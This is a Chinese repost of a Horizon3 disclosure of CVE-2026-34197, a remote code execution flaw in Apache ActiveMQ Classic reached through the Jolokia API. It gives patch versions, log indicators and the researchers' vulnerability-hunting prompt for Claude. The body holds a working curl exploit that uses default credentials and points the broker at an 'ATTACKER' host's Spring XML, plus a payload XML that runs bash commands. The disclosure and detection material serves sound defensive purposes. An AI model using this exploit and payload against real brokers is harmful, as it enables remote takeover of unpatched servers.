文章总结: CVE-2026-34197是ApacheActiveMQClassic中存在13年的远程代码执行漏洞,攻击者可通过JolokiaAPI调用addNetworkConnector操作,利用VM传输协议加载远程SpringXML配置实现命令执行。该漏洞需要认证但常因默认凭据失效,部分版本因CVE-2024-32114无需认证即可利用。官方已在5.19.4和6.2.3版本修复,建议升级并避免默认凭据,可通过监控日志中brokerConfig=xbean:http等异常进行检测。 综合评分: 85 文章分类: 漏洞分析,渗透测试,WEB安全,应急响应,红队
与Claude共处的10分钟:深挖Apache ActiveMQ远程代码执行漏洞(CVE-2026-34197)
horizon3 horizon3
赛博知识驿站
2026年4月13日 09:30 中国香港
在小说阅读器读本章
去阅读
ActiveMQ虚拟机传输利用过程,展示了代理的创建及加载攻击者控制的配置
概述
CVE-2026-34197是一个在Apache ActiveMQ Classic中存在长达13年的远程代码执行(RCE)漏洞。攻击者仅需通过ActiveMQ的Jolokia API调用特定管理操作,即可诱导代理获取远程配置文件,进而执行任意系统命令。
这个漏洞本身需要认证,但现实中默认凭据(admin:admin)满天飞,这让防线形同虚设。更让人捏把汗的是,在某些版本(6.0.0–6.1.1)中,由于另一个漏洞CVE-2024-32114的存在,Jolokia API竟然无需认证即可访问。这意味着在这些版本上,CVE-2026-34197直接化身为未经认证的RCE,该漏洞可能导致严重的安全风险。
ActiveMQ历来是攻击者眼中的香饽饽,无论是曾影响Web控制台的CVE-2016-3088,还是打击代理端口的CVE-2023-46604,都已被收入CISA的已知被利用漏洞(KEV)名单。这次的问题同样不容小觑,官方已在ActiveMQ 6.2.3和5.19.4版本中完成了修复。
背景
作为2004年就问世的开源Java消息代理,Apache ActiveMQ堪称中间件领域的老将。在金融、医疗、政务和电商等分布式系统中,它无处不在,负责解耦服务和管理消息队列。
ActiveMQ有两个分支:元老级的ActiveMQ Classic,以及后起之秀ActiveMQ Artemis。本次的“受害者”仅限于Classic。
Classic代理默认在8161端口运行着一个基于Jetty的Web管理控制台。控制台里内置了Jolokia——一个HTTP到JMX的桥梁,它将原本复杂的代理管理操作封装成了优雅的REST API。
展示通过addNetworkConnector利用ActiveMQ Jolokia API触发远程代码执行的示意图
时间回到2023年,ThreatBook的研究人员披露了CVE-2022-41678:攻击者通过Jolokia调用FlightRecorder等JDK MBeans,就能向磁盘写入Webshell。当时的修复策略是一刀切——默认将Jolokia限制为只读,并拉黑了危险的MBeans。但为了让Web控制台正常运作,官方给ActiveMQ自身的MBeans开了一个“绿灯”,无脑放行了所有操作:
<allow>
<mbean>
<name>org.apache.activemq:*</name>
<attribute>*</attribute>
<operation>*</operation>
</mbean>
</allow>
而CVE-2026-34197的精妙之处,恰恰在于绕过了那层防御,直接利用了ActiveMQ自己的MBeans。
漏洞解析
配置中那句<operation>*</operation>,意味着通过Jolokia可以调用ActiveMQ MBeans上的任何操作。研究人员敏锐地捕捉到,代理MBean上的addNetworkConnector(String)操作,竟然有一条通往代码执行的暗道。
ActiveMQ支持将多个代理组成网络,以实现负载均衡和高可用。addNetworkConnector的作用就是在运行时建立代理间的桥梁,只要给它一个发现URI,它就会建立网络连接。
这里的关键在于ActiveMQ的VM传输协议(vm://)。这是一种进程内传输,原本是为嵌入式代理设计的,客户端和代理在同一个JVM内直接通过方法调用通信,无需走TCP。这个设计的初衷是为了单元测试的效率,属于轻量级玩法。
但惊险的转折来了:当vm:// URI引用了一个不存在的代理时,ActiveMQ默认会自动创建一个,并且它还接受一个brokerConfig参数,用来指定加载配置的路径——包括攻击者可控的远程URL。
通过Jolokia调用addNetworkConnector并传入精心构造的URI,攻击者就能将这些机制首尾相连,让代理去抓取并执行远程的Spring XML配置文件:
curl -s -X POST http://TARGET:8161/api/jolokia/ \
-H "Content-Type: application/json" \
-H "Origin: http://TARGET:8161" \
-u admin:admin \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector",
"arguments": ["static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml)"]
}'
当vm://传输协议发现代理名不存在时,就会调用BrokerFactory.createBroker(),带上了攻击者控制的xbean:http://.. URL。xbean:方案告诉ActiveMQ将其视为Spring XML配置,并交给Spring的ResourceXmlApplicationContext处理。这会实例化所有的bean定义,远程代码执行由此发生。
比如,下面这段载荷XML利用了Spring的MethodInvokingFactoryBean,调用Runtime.getRuntime().exec()来执行任意命令:
<bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetObject">
<bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetClass" value="java.lang.Runtime"/>
<property name="targetMethod" value="getRuntime"/>
</bean>
</property>
<property name="targetMethod" value="exec"/>
<property name="arguments">
<list>
<array value-type="java.lang.String">
<value>/bin/bash</value>
<value>-c</value>
<value>COMMAND_HERE</value>
</array>
</list>
</property>
</bean>
这与CVE-2023-46604的攻击手法如出一辙,都是通过加载远程Spring XML配置文件来实现RCE。
ActiveMQ虚拟机传输利用过程,展示了代理的创建及加载攻击者控制的配置
部分版本无需认证(CVE-2024-32114)
上述利用需要Jolokia端点的认证,但在某些ActiveMQ版本中,这道门是敞开的。
CVE-2024-32114是ActiveMQ 6.x中的一个独立漏洞,包含Jolokia端点的/api/*路径竟被意外地从Web控制台的安全约束中移除了。这意味着在6.0.0到6.1.1版本中,Jolokia是完全无需认证的,该漏洞暴露了系统的潜在弱点。
在这些版本上,CVE-2026-34197直接演变成了未经认证的远程代码执行。
使用Spring配置执行系统命令的载荷示例
修复建议
官方已在ActiveMQ Classic 5.19.4和6.2.3版本中修复了此漏洞。补丁直接移除了addNetworkConnector操作添加vm://传输的能力,因为这本来就不该作为远程操作暴露出来。除了升级到最新版本,务必确保系统中不存在默认凭据。
检测方法
漏洞利用会在ActiveMQ代理日志中留下清晰的痕迹。正常运营中绝不会出现引用了brokerConfig=xbean:http的vm:// URI网络连接器活动,请重点排查:
INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] started
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml: The configuration has no BrokerService instance for resource: xbean:http://X.X.X.X:8888/payload.xml
...
INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] stopped
代理通常会在网络连接器停止前重复几次连接尝试。需要注意的是,命令执行发生在连接尝试期间——当那条关于配置失败的WARN日志出现时,载荷早已跑完了。
其他值得关注的指标:
- • 请求体中包含
addNetworkConnector且发往/api/jolokia/的POST请求 - • ActiveMQ代理进程向意外主机发出的出站HTTP请求
- • ActiveMQ Java进程派生出的意外子进程
发现过程
如今在做漏洞挖掘时,研究人员总是会先让Claude过一遍源码。只需简单的提示,再在网络上部署一个目标让其验证,往往能发现一些有趣的端倪,虽然多数时候离可报告的CVE还差口气。但这一次,Claude的表现堪称惊艳,仅凭几个基础提示就完成了任务。这其中有80%的功劳属于Claude,人类研究员只需做20%的锦上添花。
事后复盘,这个漏洞似乎显而易见,但也能理解为何多年未被察觉。它涉及了多个随时间独立发展的组件:Jolokia、JMX、网络连接器和VM传输。孤立地看,每个功能都在各司其职,但组合在一起却产生了危险的化学反应。这正是Claude大放异彩的地方——它以毫无偏见、清空假设的头脑,高效地将这条路径从头到尾串联起来。人类手动可能需要一周的工作,Claude只用了10分钟。
好消息是,像Claude这样的工具已向大众开放,强烈建议安全工程师和开发者善加利用。随着最新模型的迭代,漏洞挖掘,尤其是低复杂度漏洞的发现门槛,在过去半年里呈指数级下降。任何有安全背景的人,都能借此乘风破浪。
作为参考,这里是研究人员在许多项目中常用的起步提示词:
Analyze this code base for vulnerabilities that can be exploited by a user with no prior privileges.
- Enumerate any endpoints accessible to an unauthenticated, guest, or anonymous user.
- Research prior commits and prior vulnerabilities to identify hot spots in the code.
- Analyze the code, focusing on these vulnerability classes:
- RCE: command injection, deserialization, arbitrary file upload , code injection, SSTI
- Authentication Bypass: consider built-in auth, SAML, OAuth2, LDAP; password reset logic; session management; header spoofing; weak crypto, brute force protection, path/routing confusion
- Broken access control: missing authentication/authorization checks
- Arbitrary file read: Path traversal. If Windows is supported, pay special attention to Windows path handling
- SSRF: full-read and blind, consider redirect handling and DNS rebinding
- XXE
- SQLi: also consider second order SQLi
- Important misconfigurations: default creds, default secret keys, default guest access, weak file permissions, web server config; look at all deployment types including Docker
- Call out any notable bad code smells for further review
Ignore the following vuln classes:
- XSS
- CSRF
- Open Redirect
- Any denial of service (DOS)
时间线
| 日期 | 事件 |
| — | — |
| 2026/03/22 | Horizon3向Apache报告漏洞 |
| 2026/03/26 | Apache ActiveMQ团队确认报告并分配CVE |
| 2026/03/30 | ActiveMQ Classic 6.2.3版本发布 |
| 2026/04/06 | Apache ActiveMQ发布安全公告 |
| 2026/04/07 | CVE-2026-34197 详情公布 |
| 2026/04/07 | 本文发布 |
参考链接
- • Apache ActiveMQ CVE-2026-34197 安全公告[1]
- • CVE-2022-41678 — 之前的Jolokia执行漏洞[2]
- • CVE-2024-32114 — 未经认证的Jolokia访问[3]
- • CVE-2023-46604 — OpenWire反序列化RCE (CISA KEV)[4]
- • CVE-2016-3088 — Fileserver任意文件写入 (CISA KEV)[5]
原文:https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
引用链接
[1] Apache ActiveMQ CVE-2026-34197 安全公告: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
[2] CVE-2022-41678 — 之前的Jolokia执行漏洞: https://nvd.nist.gov/vuln/detail/CVE-2022-41678
[3] CVE-2024-32114 — 未经认证的Jolokia访问: https://nvd.nist.gov/vuln/detail/CVE-2024-32114
[4] CVE-2023-46604 — OpenWire反序列化RCE (CISA KEV): https://nvd.nist.gov/vuln/detail/CVE-2023-46604
[5] CVE-2016-3088 — Fileserver任意文件写入 (CISA KEV): https://nvd.nist.gov/vuln/detail/CVE-2016-3088
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博知识驿站 horizon3 horizon3《与Claude共处的10分钟:深挖Apache ActiveMQ远程代码执行漏洞(CVE-2026-34197)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论